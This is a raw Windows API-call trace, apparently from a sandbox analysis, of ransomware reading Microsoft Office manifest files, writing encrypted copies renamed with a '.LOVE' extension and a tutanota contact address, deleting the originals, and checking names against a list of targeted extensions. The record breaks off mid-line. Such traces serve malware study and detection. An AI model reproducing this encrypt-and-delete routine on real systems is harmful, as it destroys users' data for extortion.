1 [0204.963] CloseHandle (hObject=0x33c) returned 1 [0204.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0204.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.964] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.964] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.966] GetLastError () returned 0x0 [0204.966] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.049] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.049] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.049] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.050] SetEndOfFile (hFile=0x31c) returned 1 [0205.050] CloseHandle (hObject=0x31c) returned 1 [0205.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.050] SetEndOfFile (hFile=0x33c) returned 1 [0205.051] CloseHandle (hObject=0x33c) returned 1 [0205.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0205.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.052] lstrlenW (lpString=".doc") returned 4 [0205.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.052] lstrlenW (lpString=".docx") returned 5 [0205.052] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.052] lstrlenW (lpString=".pdf") returned 4 [0205.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString=".xls") returned 4 [0205.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString=".xlsx") returned 5 [0205.053] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.053] lstrlenW (lpString=".ppt") returned 4 [0205.053] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString=".zip") returned 4 [0205.053] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.053] lstrlenW (lpString=".rar") returned 4 [0205.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString=".bz2") returned 4 [0205.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString=".7z") returned 3 [0205.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString=".dbf") returned 4 [0205.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString=".1cd") returned 4 [0205.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString=".jpg") returned 4 [0205.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.053] lstrlenW (lpString=".doc") returned 4 [0205.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString=".docx") returned 5 [0205.054] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.054] lstrlenW (lpString=".pdf") returned 4 [0205.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString=".xls") returned 4 [0205.054] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString=".xlsx") returned 5 [0205.054] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.054] lstrlenW (lpString=".ppt") returned 4 [0205.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.054] lstrlenW (lpString=".zip") returned 4 [0205.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.054] lstrlenW (lpString=".rar") returned 4 [0205.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString=".bz2") returned 4 [0205.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString=".7z") returned 3 [0205.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.054] lstrlenW (lpString=".dbf") returned 4 [0205.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.054] lstrlenW (lpString=".1cd") returned 4 [0205.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0205.054] lstrlenW (lpString=".jpg") returned 4 [0205.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.054] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.055] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0205.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.055] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=14913) returned 1 [0205.055] CloseHandle (hObject=0x33c) returned 1 [0205.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.055] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.055] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.056] GetLastError () returned 0x0 [0205.056] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3a41, lpOverlapped=0x0) returned 1 [0205.138] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3a50, lpOverlapped=0x0) returned 1 [0205.139] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.140] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.140] SetEndOfFile (hFile=0x31c) returned 1 [0205.140] CloseHandle (hObject=0x31c) returned 1 [0205.141] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.141] SetEndOfFile (hFile=0x33c) returned 1 [0205.142] CloseHandle (hObject=0x33c) returned 1 [0205.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0205.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.143] lstrlenW (lpString=".doc") returned 4 [0205.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.143] lstrlenW (lpString=".docx") returned 5 [0205.143] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.143] lstrlenW (lpString=".pdf") returned 4 [0205.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.143] lstrlenW (lpString=".xls") returned 4 [0205.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.143] lstrlenW (lpString=".xlsx") returned 5 [0205.143] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.143] lstrlenW (lpString=".ppt") returned 4 [0205.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString=".zip") returned 4 [0205.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.144] lstrlenW (lpString=".rar") returned 4 [0205.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString=".bz2") returned 4 [0205.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString=".7z") returned 3 [0205.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString=".dbf") returned 4 [0205.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString=".1cd") returned 4 [0205.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString=".jpg") returned 4 [0205.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.144] lstrlenW (lpString=".doc") returned 4 [0205.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString=".docx") returned 5 [0205.144] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.144] lstrlenW (lpString=".pdf") returned 4 [0205.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.144] lstrlenW (lpString=".xls") returned 4 [0205.145] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString=".xlsx") returned 5 [0205.145] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.145] lstrlenW (lpString=".ppt") returned 4 [0205.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.145] lstrlenW (lpString=".zip") returned 4 [0205.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.145] lstrlenW (lpString=".rar") returned 4 [0205.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString=".bz2") returned 4 [0205.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString=".7z") returned 3 [0205.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.145] lstrlenW (lpString=".dbf") returned 4 [0205.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.145] lstrlenW (lpString=".1cd") returned 4 [0205.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0205.145] lstrlenW (lpString=".jpg") returned 4 [0205.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.145] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.146] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0205.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.146] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0205.146] CloseHandle (hObject=0x33c) returned 1 [0205.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0205.147] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.147] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.148] GetLastError () returned 0x0 [0205.148] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.225] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.227] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.227] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.227] SetEndOfFile (hFile=0x31c) returned 1 [0205.227] CloseHandle (hObject=0x31c) returned 1 [0205.228] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.228] SetEndOfFile (hFile=0x33c) returned 1 [0205.229] CloseHandle (hObject=0x33c) returned 1 [0205.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0205.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.229] lstrlenW (lpString=".doc") returned 4 [0205.230] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString=".docx") returned 5 [0205.230] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.230] lstrlenW (lpString=".pdf") returned 4 [0205.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString=".xls") returned 4 [0205.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString=".xlsx") returned 5 [0205.230] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.230] lstrlenW (lpString=".ppt") returned 4 [0205.230] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.230] lstrlenW (lpString=".zip") returned 4 [0205.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.230] lstrlenW (lpString=".rar") returned 4 [0205.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString=".bz2") returned 4 [0205.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString=".7z") returned 3 [0205.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.230] lstrlenW (lpString=".dbf") returned 4 [0205.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.230] lstrlenW (lpString=".1cd") returned 4 [0205.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.230] lstrlenW (lpString=".jpg") returned 4 [0205.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.231] lstrlenW (lpString=".doc") returned 4 [0205.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString=".docx") returned 5 [0205.231] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.231] lstrlenW (lpString=".pdf") returned 4 [0205.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString=".xls") returned 4 [0205.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString=".xlsx") returned 5 [0205.231] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.231] lstrlenW (lpString=".ppt") returned 4 [0205.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0205.231] lstrlenW (lpString=".zip") returned 4 [0205.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.231] lstrlenW (lpString=".rar") returned 4 [0205.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString=".bz2") returned 4 [0205.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.231] lstrlenW (lpString=".7z") returned 3 [0205.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.232] lstrlenW (lpString="C:\\Program Files\\Microsoft 